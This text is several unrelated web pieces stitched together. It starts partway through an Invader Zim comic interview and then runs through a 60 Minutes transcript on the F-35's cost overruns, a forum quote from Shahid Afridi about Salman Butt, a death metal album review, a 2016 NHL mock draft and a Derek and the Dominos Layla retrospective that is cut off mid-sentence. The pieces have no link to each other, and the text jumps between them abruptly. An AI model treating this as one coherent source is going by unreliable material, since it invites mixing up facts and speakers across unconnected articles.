welcome one.)  Maintaining the balance between personal and house styles is, far and away, the most challenging part of working on Zim. You don’t want to carbon copy the people who came before you but at the same time you don’t want to go too far with your own personal style. I try to keep the characters and environments pretty “on-model” but since the script comes to me in TV form (no page or panel numbers) it’s up to me to decide how many panels are on a page and how they’re composed and what the pacing will be. I think that’s where my style shows through the most.  A page from Invader Zim #13.  AiPT!: Eric, you’ve been the main writer for the Zim comic since it began, but prior to this you wrote for the Invader Zim animated series. What opportunities has this comic supplied you with? You were the writer behind the story arc from close to the end of the cartoon that involved Dib commandeering Tak’s spaceship, and you’ve worked Tak’s ship into several of your scripts so far. Is there more to that storyline that we can look forward to?  Eric: Opportunities? Good question. So good, in fact, that I have no answer. Next!  In all seriousness… For me, it’s been a chance to revisit this kind of storytelling again. I work mostly in animation, and you’d be surprised how few outlets for demented science-fiction comedy there are in the cartoon world. Or maybe you wouldn’t. Actually, given what’s on the air, you definitely wouldn’t be surprised.  Jhonen and Robin Herrera (editor at Oni) have had a few artist-driven experimental issues, but we approached my issues with the same kind of storytelling we used on the 11-minute cartoons, with maybe a little more character interaction thrown in.  It’s been great for me to practice this particular kind of insanity again. I finally got to do the “Pants” story that Nickelodeon torpedoed all those years ago. (Invader Zim issue 8.) PANTS!  On the subject of Tak’s ship: I can’t say that there’s any “storyline” planned, but that ship and its deep Dib-loathing is definitely ongoing, and s/he will be there to give Dib a hard time every time he goes into space.  AiPT!: Eric, what has the transition from TV to comic been like in regards to scripting Zim stories? Have you had to rethink your whole approach or has it been fairly intuitive?  Eric: It’s been shockingly intuitive. We’ve been basically telling classic Zim tales, just rendered for the page instead of the screen. And Jhonen prefers we write them in screenplay format. Yep, we give the artists animation screenplay format. That will probably invoke fiery rage from comic writers and artists everywhere. Or maybe just the writers, while a quiet group of artists silently celebrates the fact that someone, somewhere is letting a comic artist do the panels however he damn-well wants.  AiPT!: Eric, in regards to the comic, what’s your relationship with series creator Jhonen Vasquez like? He’s credited in the book as “Control Brain” so I can only guess what that means in relation to your job as writer.  Eric: Jhonen’s control brain has sprouted tentacles and is seizing dominion over an ever-growing radius around his house. It now controls six city blocks. It’s like something out of Akira, but with people’s lawns.  Basically, Jhonen plays executive producer on the whole comic. He’s a sounding board for all ideas, and the guy with the final say on details from the script to the final art. When people say, “It feels just like the TV show,” that’s down to Jhonen’s influence. He has the essence of Zim locked in his head, and he wields that essence like a flaming ninja sword with acid-fangs! (Actually, I don’t know what that metaphor means. Moving on.)  For my scripts, I go over to his house, pitch a few new stories, and then play video games until we forget why I came over. We talk about the ideas he thinks will work best, flesh out the story a bit, and then I go off and write the script. After I turn it in, I receive angry midnight calls from him, screaming like a rabid wolverine about how I’m ruining his creation. And why is the Incredible Hulk in this one again?! And why does Zim drive a flying diaper truck and speak only in French?!  Actually, after we come up with ideas, I write the script and then run it by Jhonen. He usually has a few tweaks that make it just that much more “ZIM,” and then we let the artist have at it. It’s fun.  AiPT!: Eric, the Zim cartoon had a pretty robust cast of characters; a lot of fan favorites, too. But you’ve also created your fair share of new characters for this book (I especially liked Groyna from issue 8). How do you decide when to implement a character, be it preexisting or original? Are there any outlying characters beyond the Dib and Zim crew you particularly want to develop or explore?  Eric: Ah, Groyna! I hope we can find a good way to bring Groyna back. Every Dib needs a Groyna every now and again, know what I mean?  We walk a line on the old character vs. new character question. There’s no set policy, we just take it story by story and see what the narrative calls for. On the one hand, we’ve got a big world we don’t want to ignore, but on the other hand we don’t want the comic to feel like it’s staring into its own green navel.  Do our readers want intricate world-building or more novelty? Should we even base our decision on what our readers want? Half of them are grown-up fans, the other half are school kids. A third half are blind, subterranean mole people with milk-white eyes who only read the comics by smell. That’s right, that totals three halves, but remember, history is littered with the corpses of those who, in their arrogance, ignored the mole people. I’m sorry, what was I talking about?  Still, you never know what old face we might bring back. I think Jhonen mentioned using Prisoner 777 at some point. I have a feeling we’ll eventually see Invader Skoodge again, though no plans yet. I’m also mildly pleased that Agent Batflaps may be an ongoing addition to the comic universe as a foil for Dib. Go Batflaps!  AiPT!: Eric, you’ve done a great job of maintaining the integrity of the Zim storytelling style in the transition from screen to page. You’ve even hit on some of the wilder qualities of the show, like stories that end with everyone dying (but it’s okay because they’ll be better by the next installment). What little quirks are there in the scripting style of Zim stories that are essential to making them FEEL like a Zim stories? Do you ever have any troubles or frustrations with the formula/rhythm of Zim storytelling?  Eric: Aw, thanks.  I wish I could list exactly what the quirks are, because it would make my job easier. If only it were just taco and pig jokes followed by GIR shouting “Doom,” I could crank these out in a day.  If I had to speculate, I’d say the premise always contains a certain amount of science fiction twisted in ridiculous directions. The lead character — whether it’s Zim, Dib or someone else — is usually driven by hubris or self-delusion, and they’re usually destined for failure. At some point we’ll point out our own absurdity, and drive a truck through our own plot holes. Dark humor. Horrible things made funny. Moose. Burritos. Doom. etc. I don’t know.  I actually really enjoy the rhythm of Zim storytelling. My only fear is that it will some day stop being interesting, that we’ll have worn our tropes down so smooth and nubby that people will just shrug and say, “Oh yeah, this,” and move on. So among the “classic Zim” tales, my brain is still looking for ways to do something new. Maybe we’ll some day do an epic Irken space opera, just to shake things up. Maybe we’ll go really deep into the background of one really obscure character. Maybe we’ll do a complex Marvel Universe style thing and assemble the Irken Avengers of Minor Invaders. Or maybe not. I just would hate for it to get routine.  A page from Invader Zim #13!  AiPT!: Eric, I’m sure you want to stick a screwdriver in the next person to ask you this, but if I don’t do it someone in the comments section will get mad at me. So, ya know. Tak. Any plans for her? Her character’s popularity is staggering, especially considering she was only in one episode (personally, I like the dynamic you’ve developed between Dib and Tak’s Ship).  Eric: I will drop only this misty nugget of mystery:  THERE ARE NO PLANS TO BRING BACK TAK, OKAY?! SO STOP ASKING!  But for the sake of all the Tak fans out there, I will add that it’s only because Jhonen thinks Tak is a great character, and he doesn’t want to bring her back simply for the sake of doing it. If — or more probably, “when” — Tak returns, he wants it to be for a story that’s as cool as she is.  I mean, hey, we could bring back Tak every four issues and turn her into the Lex Luthor of the Zim universe, but would you really want that? The answer is no, you would not. Aren’t you glad we know what you want better than you do? The answer is yes, you do. See how good this feels?  AiPT!: Eric, and lastly, do you have plans for another multi-issue storyline or will the book be sticking to the episodic format for the time being?  Eric: That’s a tough one. I can say you will definitely see the episodic format for the near future, but I’ve been idly talking with Jhonen and Robin about the possibility of someday doing something more long-form.  No, it won’t involve Tak.  This time.  That’s enough of everyone’s time for today. AIPT would like to thank Eric, Warren and Fred for submitting to our Q&A and the behind-the-scenes folks at Oni Press for helping make it happen!  Invader Zim #13 comes out this Wednesday, September 21, featuring the abduction of Dib and the apathy of Zim. Be sure to check it out, and catch up with the Invader Zim Volume 1 trade paperback collection, already in stores.
-The following script is from "The F-35" which aired on Feb. 16, 2014. David Martin is the correspondent. Mary Walsh, producer.  The F-35 Joint Strike Fighter is the Pentagon's newest warplane and its most expensive weapons system ever -- nearly $400 billion to buy 2,400 aircraft. To put that in perspective, that's about twice as much as it cost to put a man on the moon -- this at a time when the White House and Congress are fighting over ways to reduce the federal deficit and cuts in defense spending are forcing the Pentagon to shrink the size of the military.  The Air Force, Navy and Marines are all counting on the F-35 to replace the war planes they're flying today. If it performs as advertised, the F-35 will enable U.S. pilots to control the skies in any future conflict against the likes of China or Russia. But the F-35 has not performed as advertised. It's seven years behind schedule and $163 billion over budget, or as the man in charge of the F-35 told us, "basically the program ran itself off the rails."  [Chris Bogdan: Good morning.]  Lt. Gen. Chris Bogdan is the man in charge of the F-35 and every morning starts with problems that have to be dealt with ASAP. This morning it's a valve that's been installed backwards and has to be replaced.  Chris Bogdan: How long does it take?  Answer: It's about a seven day operation.  Chris Bogdan: OK. And now you know what I'm going to say next.  Answer: Yes sir.  Chris Bogdan: What am I going to say next?  Answer: You're going to say, "We're not going to pay for it."  Chris Bogdan: That's right. We're not going to pay for it.  Chris Bogdan: Long gone is the time where we will continue to pay for mistake after mistake after mistake.  When Bogdan took over the F-35 program a year ago, it was behind schedule, over budget and relations with the plane's manufacturer, Lockheed Martin, bordered on dysfunctional.  David Martin: How would you characterize the relationship between the Pentagon and Lockheed Martin?  Chris Bogdan: I'm on record after being in the job for only a month standing up and saying it was the worst relationship I had seen in my acquisition career.  Lt. Gen. Chris Bogdan CBS News  These planes coming off the Lockheed Martin assembly line in Fort Worth cost $115 million a piece, a price tag Bogdan has to drastically reduce if the Pentagon can ever afford to buy the 2,400 planes it wants.  Chris Bogdan: I know where every single airplane in the production line is on any given day. You know why that's important? Because Lockheed Martin doesn't get paid their profit unless each and every airplane meets each station on time with the right quality.  David Martin: So if this plane doesn't get from that station to this station.  Chris Bogdan: On time with the right quality they're going to lose some of their fee. You've got to perform to make your profit.  David Martin: They must love you at Lockheed Martin.  Chris Bogdan: I try and be fair, David and if they want what I call "winner's profit," they have to act like and perform like winners, and that's fair.  Although the F-35 won't begin to enter service until next year at the earliest, pilots are already conducting test flights and training missions at bases in California, Florida, Maryland, Arizona and Nevada. It's supposed to replace virtually all of the jet fighters in the United States military. There's one model for the Air Force, another for the Navy - designed to catapult off an aircraft carrier - and a third for the Marines which seems to defy gravity by coming to a dead stop in mid-air and landing on a dime.  David Berke: This is a fighter that has amazing capabilities in a lot of ways.  The F-35's vertical landing  Lt. Col. David Berke says there's no comparison between the F-35 and today's jet fighters.  David Berke: I'm telling you, having flown those other airplanes it's not even close at how good this airplane is and what this airplane will do for us.  David Martin: We have planes that are as fast as this.  David Berke: You bet.  David Martin: And can maneuver just as sharply as this one.  David Berke: Sure.  David Martin: So why isn't that good enough?  David Berke: Those are metrics of a bygone era. Those are ways to validate or value an airplane that just don't apply anymore.  You can see from its angled lines, the F-35 is a stealth aircraft designed to evade enemy radars. What you can't see is the 24 million lines of software code which turn it into a flying computer. That's what makes this plane such a big deal.  David Berke: The biggest big deal is the information this airplane gathers and processes and gives to me as the pilot. It's very difficult to overstate how significant of an advancement this airplane is over anything that's flying right now.  Without the F-35, says Air Force Chief General Mark Welsh, the U.S. could lose its ability to control the air in future conflicts.  Mark Welsh: Air superiority is not a given, David. It never has been. And if we can't provide it everything we do on the ground and at sea will have to change.  "The biggest big deal is the information this airplane gathers and processes and gives to me as the pilot. It's very difficult to overstate how significant of an advancement this airplane is over anything that's flying right now."  Today's enemies - al Qaeda and the Taliban - pose no threat to American jets. But Welsh is worried about more powerful rivals.  Mark Welsh: We're not the only ones who understand that going to this next generation of capability in a fighter aircraft is critical to survive in the future of battle space and so others are going, notably now the Chinese, the Russians and we'll see more of that in the future.  And this is what the competition looks like - the Russian T-50 and China's J-20 Stealth Fighter. According to Welsh, they are more than a match for today's fighters.  Mark Welsh: If you take any older fighter like our existing aircraft and you put it nose to nose in, in a contested environment with a newer fighter, it will die.  David Martin: And it will die because?  Mark Welsh: It will die before it even knows it's even in a fight.  In aerial combat, the plane that shoots first wins, so it all comes down to detecting the enemy before he detects you. The F-35's combination of information technology and stealth would give American pilots what Marine Lt. Gen. Robert Schmidle describes as an astounding advantage in combat.  Robert Schmidle: I shouldn't get into the exact ranges because those ranges are classified, but what I can tell you is that the range at which you can detect the enemy as opposed to when he can detect you can be as much as 10 times further when you'll see him before he'll ever see you and down to five times...  David Martin: I want to nail that down here. If the F-35 was going up against another stealth aircraft of the kind that other countries are working on today, it would be able still to detect that aircraft at five to 10 times the range?  Robert Schmidle: You would be safe in assuming that you could detect that airplane at considerably longer distances than that airplane could detect you.  The F-35's radars, cameras and antennas would scan for 360 degrees around the plane searching for threats and projecting, for example, the altitude and speed of an enemy aircraft, onto the visor of a helmet custom-fitted to each pilot's head.  It is so top-secret no one without a security clearance has ever been allowed to see what it can do...  [Alan Norman: If you want to head up to my office, come on up.]  ...until Lockheed Martin's chief F-35 test pilot Alan Norman took us into the cockpit for a first-hand look.  Alan Norman: So, if you put that over your face . . .  That blindfold is to make sure I can see only what cameras located in different parts of the plane project onto the visor.  Alan Norman: You're looking through the eyeballs of airplane right now. And you can even look down below the airplane. So you're looking actually through the structure of the airplane right now.  We've positioned 60 Minutes cameraman Tom Rapier underneath the plane so we can test the system.  David Martin: So now I look and there's Tom Rapier and he's giving me one finger up.  Alan Norman: You're the only person in the world that can see him with that imagery right now.  We're not allowed to show you what's on the visor because much of it is still classified. But wherever I turn my head, I can see what's out there.  Chris Bogdan: So there's a lot riding on that helmet, David, there's no doubt.  David Martin: How much does it cost?  Chris Bogdan: The helmet itself plus the computer system that is used to make the helmet work is more than a half million dollars.  But there have been problems with the helmet and when we visited the Marine Corps station in Yuma, Ariz., a malfunction caused a scheduled flight to be scrubbed.  In fact, on any given day more than half the F-35s on the flight line are liable to be down for maintenance or repairs.  Bugs and glitches in the plane first reveal themselves in testing at Edwards Air Force Base in California where every test flight is monitored and recorded as if it were a space flight.  The plane has to go through 56,000 separate tests - everything from making sure a bomb will fall out of the bomb bay to seeing what happens when it is dropped at supersonic speeds.  [Rod Cregier: Of course you never like to lose an aircraft.]  Col. Rod Cregier runs the test program.  Rod Cregier: You're taking an aircraft that's unknown and you're trying to determine does it do what we paid the contractor to make it do. Does it go to the altitudes, the air speeds? Can it drop the right weapons? We're trying to get all that stuff done before we release it for the war fighter, so that they can actually use it in combat.  David Martin: So are you basically the guy who has to deliver the bad news about the plane?  Rod Cregier: Sometimes it's hard to tell folks that their baby is ugly, but you have to do it because if you don't get it done, who else is gonna do it?  A number of surprisingly basic defects have been uncovered. The F-35 was restricted from flying at night because the wingtip lights, shaped to preserve the plane's stealth contours, did not meet FAA standards.  Getting F-35 costs under control  Chris Bogdan: When you hear something like that, you just kind of want to hit your head like this and go: "Multibillion dollar airplane? Wingtip lights? Come on!  And then there are the tires, which have to be tough enough to withstand a conventional landing and bouncy enough to handle a vertical landing.  David Martin: We found out that the tires were wearing out two, three, four times faster than expected. Tires.  Chris Bogdan: Tires aren't rocket science. We ought to be able to figure out how to do tires on a multibillion dollar highly advanced fighter.  Lt. Gen. Schmidle remembers the day one of the planes delivered to the Marines had gaps in its stealth coating.  Robert Schmidle: They sent me the pictures within half an hour of the thing landing and I then sent them on to Lockheed Martin and said, "So talk to me."  David Martin: I got a feeling you said more than just "talk to me."  Robert Schmidle: Um, (laugh).  David Martin: Did you say, "What the hell?"  Robert Schmidle: You know Marines tend to be relatively direct in the way that we try to help people understand what our, what our particular concerns are.  Executives at Lockheed Martin declined our request for an interview and instead sent us this email saying, in part: "We recognize the program has had developmental and cost challenges and we are working with our customers, partners and suppliers to address these challenges."  That stealth coating was repaired and the problem with the running lights fixed but, so far, not the tires. With about 35 planes a year coming off the Lockheed Martin assembly line, it seems awfully late to be discovering such basic flaws. That's because early in the program the Pentagon counted on computer modeling and simulators to take the place of old-fashioned flight testing.  Frank Kendall: An old adage in the, in this business is, "You should fly before you buy." Make sure the design is stable and things work before you actually go into production.  Frank Kendall is the under secretary of Defense for Acquisition - the Pentagon's chief weapons buyer.  Frank Kendall: We started buying airplanes a good year before we started flight tests.  David Martin: So you buy before you fly?  Frank Kendall: In that case yes.  David Martin: Just saying, it doesn't sound like a good idea.  Frank Kendall: I referred to that decision as acquisition malpractice.  This May 2010 Pentagon memo detailed the "flawed...assumptions," "unrealistic...estimates" and "a general reluctance to accept unfavorable information" that put the program seven years behind schedule and more than $160 billion over budget. To stop the bleeding, Kendall pumped an extra $4.6 billion into flight testing and froze production.  Frank Kendall: We need to face the truth in this business. We need to understand what works and what doesn't.  David Martin: Is this F-35 program now under control?  Frank Kendall: Yes, it is.  Shortly after he spoke with us, Kendall issued this memo stating "progress is sufficient" to increase production next year. But, he warned, the plane's software "is behind schedule" and "reliability...is not growing at an acceptable rate."  Still, the Pentagon plans to buy as many as 100 F-35s a year by 2018.  David Martin: Has the F-35 program passed the point of no return?  Chris Bogdan: I don't see any scenario where we're walking back away from this program.  David Martin: So the American taxpayer is going to buy this airplane?  Chris Bogdan: I would tell you we're going to buy a lot of these airplanes.
-Originally Posted by Faizan Lakhani Originally Posted by  Saw him in aggressive mood after a longtime. He sounded like really annoyed at Salman Butt.. May be because Salman said on ARY that "Shahid Afridi isn't sincere with Pakistan Cricket."  His actual words "Jis nay mulk ka naam badnaam kiya, cricket ko kharrab kiya, Aaamir jaisa talent zaaya karwaaya, woh TV pur baith ker players pur baat kerta hai .... usko sharram aanee chahiye, pehley aaker qaum say maafi mangay apni harkato pur, phir baat karay"  "He gave bad name to the country and the game, spoiled a talent like Aamir and today he is talking about us sitting on TV channels ... he should be ashamed of what he did, he should say sorry to the nation for what he did and then talk about others,"
-Fans of underground death metal have been feverishly awaiting a full-length debut from Cruciamentum ever since the UK-based band’s lauded cassette demo, Convocation of Crawling Chaos, spun heads back in 2009. But while six years may seem like a lifetime to wait for a studio album in the digital age, the band led by vocalist/guitarist D.L. were kept busy creating a well-received EP (2011’s Engulfed in Desolation), playing shows and festivals (both in Europe and in the US), and taking what turned out to be a short hiatus.  Possessing the same air of magick and malevolence that made Grave Miasma’s long-awaited 2013 full-length, Odori Sepulcrorum, such an immersive experience (both bands share members), Charnel Passages is unquestionably a brutal return from one of Britain’s best death metal acts. Yet it’s much more than just manically focused on sonic destruction: it’s also extremely dynamic, shifting between tempos, moods and odd time signatures more often than the demo and EP before it. Although plenty of weight has been placed upon slower, atmospheric sojourns – similar to their British doom-death forefathers in Paradise Lost and Anathema – Cruciamentum still unleash torrent after torrent of syncopated hellfire à la Morbid Angel, Bolt Thrower and Immolation. The swarming blackened riffs, jackhammer blasts ‘n’ grooves, cacophonous guitar solos (much improved here – see: ‘Tongues of Nightshade’ and ‘Rites to the Abduction of Essence’) and guttural barks of their earlier work are all-consuming on tracks such as ‘Dissolution of Mortal Perception’ and ‘Collapse’ when combined with doom-death sections, laden with sinister textures courtesy of greater use of keyboards.  With such a clear understanding of dynamic extreme metal song craft, Cruciamentum have the one essentiality that many of their murky peers lack: the ability to write memorable songs without weakening their core style of death metal, built upon strong, discernible arrangements and skilled pacing. Amongst other variables, that’s what made the likes of Altars of Madness, Dawn of Possession, Transcendence Into the Peripheral and Onward to Golgotha death metal milestones. Only time and circumstance will tell if Charnel Passages will ascend to the same revered status. However, one thing certain right now is that: while Cruciamentum are beholden to diabolical old school values, there’s a nightmarish vision of death metal’s future cast across their impressive first full-length.  Charnel Passages is streaming in full above and out on September 4.
-Kimelman's Draft  1. Auston Matthews, C, Zurich (SUI) The 6-foot-1, 210-pound forward has all the markings of a franchise center. He's dominated his peers and now he's excelling against men in Switzerland's top pro league. Had he been born two days earlier, he would have made it a very tough decision for the Buffalo Sabres with the No. 2 pick of the 2015 draft.  2. Jesse Puljujarvi, RW, Karpat (FIN) He dominated for Finland at the 2016 IIHF World Junior Championship, leading the tournament with 17 points in seven games, and has had a strong season against older competition in Liiga, Finland's top pro league. Scouts rave about his hockey sense and how well he skates for his size (6-3, 203).  3. Jakob Chychrun, D, Sarnia (OHL) As the son of a former NHL player, Chychrun has outstanding hockey sense. His size (6-2, 215) and skating ability help him cover a lot of ground. He's the best all-around defenseman in the 2016 draft and would fill an area of need for the Oilers.  4. Patrik Laine, RW, Tappara (FIN) The 6-4, 206-pound power forward showed scouts his full wealth of skills at the WJC; he tied Matthews for the tournament lead with seven goals in seven games. He has a heavy, accurate shot and has had little problem playing against more mature, older players in Liiga.  5. Matthew Tkachuk, LW, London (OHL) At 6-1, 195 pounds, he isn't as big as his father, Keith Tkachuk (6-2, 235), but Matthew plays a similarly tough, strong down-low game in the offensive end. After starring with USA Hockey's National Team Development Program, he's among the top scorers this season in the Ontario Hockey League.  6. (From SJS) Alexander Nylander, LW, Mississauga (OHL)  The 6-foot, 179-pound forward became a leader for Sweden after his older brother, William Nylander (Toronto Maple Leafs), was injured in the first game of the WJC; he led fourth-place Sweden with four goals and nine points. He's among the top-10 scorers in the OHL this season and leads all first-year players in the league in goals, assists and points.  7. Julien Gauthier, RW, Val-d'Or (QMJHL) The 6-3, 225-pound power forward was the only draft-eligible player to skate for Canada at the WJC. He's among the top goal-scorers in the QMJHL. Scouts view him as a strong skater who can use his size and strength to win battles along the walls. His game-to-game consistency could be better, but that should come as he matures.  8. Michael McLeod, C, Mississauga (OHL) The 6-2, 188-pound forward is an outstanding skater who is able to change speeds on the move. He can take the puck to the net to create scoring chances for himself or his teammates. He plays on a line with Nylander in Mississauga, and is considered defensively responsible and strong on faceoffs.  9. Olli Juolevi, D, London (OHL) The 6-2, 179-pound left-shot defenseman tied for the scoring lead at his position at the World Juniors and had an easy adjustment moving from Finland to the OHL this season. In addition to his smart offensive play, scouts view him as an outstanding skater with good 1-on-1 defending ability and a quick stick.  10. Pierre-Luc Dubois, LW, Cape Breton (QMJHL)  Scouts like the skills, smarts and size (6-2, 202) Dubois brings to the equation. He can use his size to create chances in front of the net. He turned not making Canada's roster for the World Juniors into motivation that has seen him develop into one of the top scorers in the QMJHL.  11. Logan Brown, C, Windsor (OHL) At 6-6, 222 pounds, Brown is one of the bigger players in the 2016 draft class and also brings a wealth of skill. He can win battles anywhere on the ice but also has the vision and hands of a top-end playmaker and is a strong skater for a player his size.  12. Mikhail Sergachev, D, Windsor (OHL) The 6-2, 206-pound left-shot defenseman has the kind of skill set the Avalanche have been looking to add to their defense. He's adapted well in his first season in North America, showing an ability to skate the puck out of trouble or make smart outlet passes. He’s also willing to play physical.  13. Tyson Jost, C, Penticton (BCHL) The University of North Dakota-bound playmaker is averaging nearly two points per game in the British Columbia Hockey League. Jost is not big (5-11, 191), but he is shifty with a low center of gravity that makes him tough to knock off the puck.  14. Kieffer Bellows, LW, USA U-18 (USHL) The Penguins need some young skill on the wing and the 6-foot, 196-pound son of former NHL player Brian Bellows fits the bill. He has a hard, accurate shot and is strong enough on his skates to get to the net to score from prime locations. He's planning to continue his development at Boston University next season.  15. Clayton Keller, C, USA U-18 (USHL) Keller is an offensive dynamo who is averaging nearly two points per game with USA Hockey's National Team Development Program under-18 team. Despite his size (5-9, 168), he can score from anywhere on the ice. A strong skater, he is capable of making plays with the puck at top speed. He could join Kyle Turris and Mika Zibanejad to give the Senators a high level of skill down the middle.  16. Dante Fabbro, D, Penticton (BCHL) Outstanding skating ability allows the 6-foot, 189-pound right-shot defenseman to excel in transitioning the puck. Scouts also like his elite hockey sense and ability to make accurate passes anywhere on the ice. He's committed to Boston University next season.  17. Alexander DeBrincat, RW, Erie (OHL) The 5-7, 163-pound forward is one of the best goal-scorers in junior hockey. He had 51 goals last season as an OHL rookie and this season is averaging nearly one goal per game. The Coyotes certainly have seen DeBrincat a lot; his linemate is Dylan Strome, who they selected with the third pick of the 2015 draft.  18. Max Jones, LW, London (OHL) Jones is a 6-3, 205-pound wrecking ball of a power forward. He skates well and has a hard shot. He has a nasty edge to his game that allows him to create enough open ice for himself to get his shot off. The Devils could use some younger skilled players, and one who enjoys playing physical that much more.  19. Charles McAvoy, D, Boston University (H-EAST) The 6-foot, 208-pound right-shot defenseman is having a solid freshman season not far from TD Garden and has shown lots of upside. He's a strong skater with great vision who can carry the puck out of trouble or make smart passes out of the zone. He has a heavy shot from the point and should be able to run an NHL power play.  20. Jake Bean, D, Calgary (WHL) The Canadiens could use some young defensive talent to develop, and Bean has the look of an outstanding future pro. He has quick feet that allow him to get the transition play going but needs to get bigger and stronger (5-11, 173); that should come as he matures physically and gets help from an NHL strength coach.  21. Rasmus Asplund, C, Farjestad (SWE) Depth down the middle is an organizational need, and Asplund could be a player worth building around. The 5-11, 176-pound forward is adjusting well to playing against men in the Swedish Hockey League, and scouts like how he has shown great speed and an ability to create scoring chances.  22. (From NYR) Tyler Benson, LW, Vancouver (WHL)  The 5-11, 201-pound playmaker is averaging about a point per game in the Western Hockey League. His stocky build allows him to be stronger than most along the wall in puck battles, and he's proven to be difficult to handle down low in the offensive zone.  23. Chad Krys, D, USA U-18 (USHL)  The Red Wings need to add some defense to their development system, and the 5-11, 185-pound left-shot defenseman would be a strong addition. Scouts like how Krys uses his best attribute, his skating, to lead the rush and help his positioning defensively. He'll continue his development next season at Boston University.  24. Luke Kunin, C, Wisconsin (BIG10)  The 5-11, 193-pound forward began his season with two goals at the All-American Prospects Game and used that as a springboard to an outstanding start to his college hockey career. Scouts like his quick feet and quicker release on his shot. He's also a willing player in all three zones. He would make a strong addition to the Wild, who need to develop quality young centers.  25. Riley Tufte, LW, Blaine (HIGH-MN)  The 6-4, 205-pound forward moves well in all directions and has shown nice hands when it comes to shooting the puck or setting up his linemates. No U.S. high school player has been picked in the first round since 2010, but with a deep prospect base, the Blues can take Tufte and allow him to spend a few seasons at Minnesota-Duluth, where he'll play next season.  26. (From LAK) Carl Grundstrom, RW, Modo (SWE)  The 6-foot, 194-pound forward already is in his second season playing against men in the Swedish Hockey League. He also did well for Sweden at the World Juniors. Scouts like how he can generate speed off the rush and get to the dirty areas to score goals. Grundstrom could provide the infusion of offensive skill that the Hurricanes need.  27. Sam Steel, C, Regina (WHL)  The 5-11, 177-pound forward is averaging a point per game in the WHL. Scouts like how Steel can hang on to the puck for an extra half-second to allow plays to open up for his linemates, then make precision passes. He's also shown a nice shot and quick release.  28. Samuel Girard, D, Shawinigan (QMJHL)  The Blackhawks need to start thinking about the future of their defense. Though Girard is on the small side (5-9, 160), he makes up for it with a strong lower body and elite-level hockey sense. He also has proven himself to be an outstanding skater and passer who excels in transition.  29. Nathan Bastian, RW, Mississauga (OHL) The 6-3, 208-pound forward has gotten better as the season has gone on and is averaging more than a point per game. A gifted offensive player, Bastian has shown an ability and willingness to play hard in all three zones.  30. Kale Clague, D, Brandon (WHL)  The Capitals have been successful with drafting WHL defensemen the past few years, from Mike Green to Karl Alzner to Madison Bowey, and Clague (5-11, 177) could be next on that list. Strong skating allows Clague to excel at each end of the ice. Scouts like his smarts when it comes to his positioning in the defensive end.  ---
-Of all the songs on Derek And The Dominos’ Layla And Other Assorted Love Songs, the one that sounds most out of place is the title track. Layla is largely a laid-back jam record—a collection of electric blues and country-tinged folk music banged out on the quick by Eric Clapton, Bobby Whitlock, Jim Gordon, Carl Radle, and Duane Allman. And then there’s “Layla,” with its mammoth opening guitar riff, wailing Allman slide-guitar solo, and plaintive Gordon piano coda. The song is more arena-rock than roots-rock; in fact, it sounds like the birth of arena-rock, at least as it would come to sound in the ’70s. By and large on Layla, producer Tom Dowd held to his philosophy of always recording what happened in the studio rather than trying to force it; but with “Layla,” Dowd moves gracefully between the recording’s various elements, giving each their spotlight and maximizing their power, right down to the playful little “bird-tweet” that ends the track. This song doesn’t feel off-the-cuff in any way. This is a pronouncement, delivered from a mountaintop.  Layla And Other Assorted Love Songs was released 40 years ago, and will be re-released later this month in a special edition containing the original album, a disc of additional Derek And The Dominos records, and two discs of the Dominoes in concert. It’s not a complete document of the Dominos’ brief run. An earlier anniversary edition featured a full disc of Clapton/Allman instrumental jams that don’t appear on the new set, and though the second disc of the new Layla includes some songs recorded for an unfinished second Dominos album, it only includes those that were pretty well “finished,” which leaves a few oft-bootlegged tracks on the outs. Still, with the addition of a few previously unreleased performances from The Johnny Cash Show—including a joyous take on “Matchbox,” performed with Cash and Carl Perkins—this is fairly close to a definitive document of what Clapton’s intentions were with this band.  Those intentions are something Clapton talks about in his autobiography:  It began with me just talking to these guys about music and getting to know them, and then we just played and played and played. I was in absolute awe of these people, and yet they made me feel that I was on their level. My musicianship fit with their musicianship. We were kindred spirits, made in the same mold. To this day I would say that the bass player Carl Radle and the drummer Jimmy Gordon are the most powerful rhythm section I have ever played with. They were absolutely brilliant. When people say that Jim Gordon is the greatest rock ’n’ roll drummer who ever lived, I think it’s true, beyond anybody. All we did was jam and jam and jam and night would become day and day would become night, and it just felt good to me to stay that way. I had never felt so musically free before. We kept ourselves going with fryups and a cocktail of drink and drugs, mostly cocaine and Mandrax. ‘Mandies’ were quite strong sleeping pills, but instead of letting them put us to sleep, we would ride the effect, staying awake by snorting some coke or drinking some brandy or vodka, and this would create a unique kind of high. This became the chemistry of our lives, mixing all these things together. God knows how our bodies stood it. I had no game plan at this time. We were just enjoying playing, getting stoned, and writing songs.  Advertisement  To understand the significance of Clapton writing about feeling like a peer with the other Dominos, it helps to know where his head was at prior to 1970. While Clapton’s peers in the British rock scene were courting success on the pop charts, Clapton remained a purist, holed up in his room trying to master the techniques of Big Bill Broonzy and John Lee Hooker. He quit The Yardbirds because he thought they were sellouts; and he quit John Mayall & The Bluesbreakers because he felt he was way beyond his bandmates. Along the way he left behind just a little recorded evidence of his guitar prowess—primarily the pistol-hot Five Live Yardbirds and the rollicking Blues Breakers With Eric Clapton—but for the most part, Clapton’s reputation was built on his cockiness and his fiery performances. Around the time Clapton abandoned Mayall, graffiti started popping up around London: “Clapton Is God.”  Then Clapton formed Cream with bassist Jack Bruce and drummer Ginger Baker, and reality finally began to catch up with the hype. Cream had a monster sound, influenced by jazz, blues, and psychedelia, and the band quickly became one of the top touring attractions at home and in the U.S. But Bruce and Baker couldn’t stand each other, and Clapton grew wary of the idolatry. As he crisscrossed two continents, he heard musicians like The Band writing and recording new classics with little of the fuss or bluster of Cream. Clapton quit Cream and formed a new band, Blind Faith, with Baker and Steve Winwood, intending to emulate The Band and make the music the star. Instead, the industry rushed to capitalize on Clapton’s iconic status and make Blind Faith the next “supergroup.” Sensing a repeat of his Cream frustrations, Clapton killed the band quickly and went out on the road with Blind Faith’s American supporting act: husband-and-wife roots-rockers Delaney and Bonnie Bramlett. He worked strictly as a sideman and asked not to be the main attraction. (Nevertheless, Delaney & Bonnie did release a live album from the tour called On Tour With Eric Clapton. It’s excellent.)  During his stint with Delaney & Bonnie, Clapton met—and stole—Whitlock, Radle, and Gordon, and Derek And The Dominos were born. Bobby Whitlock is himself a superior singer-songwriter, whose self-titled 1972 solo debut (with backing music provided primarily by the Dominos) is an under-heralded classic. Layla is often talked about as a Clapton album, but the Stax-trained Whitlock wrote or co-wrote six of its 14 songs, and provided a much-needed foil for Clapton, keeping him in a down-home, country-soul mood. Then, partway through the Layla 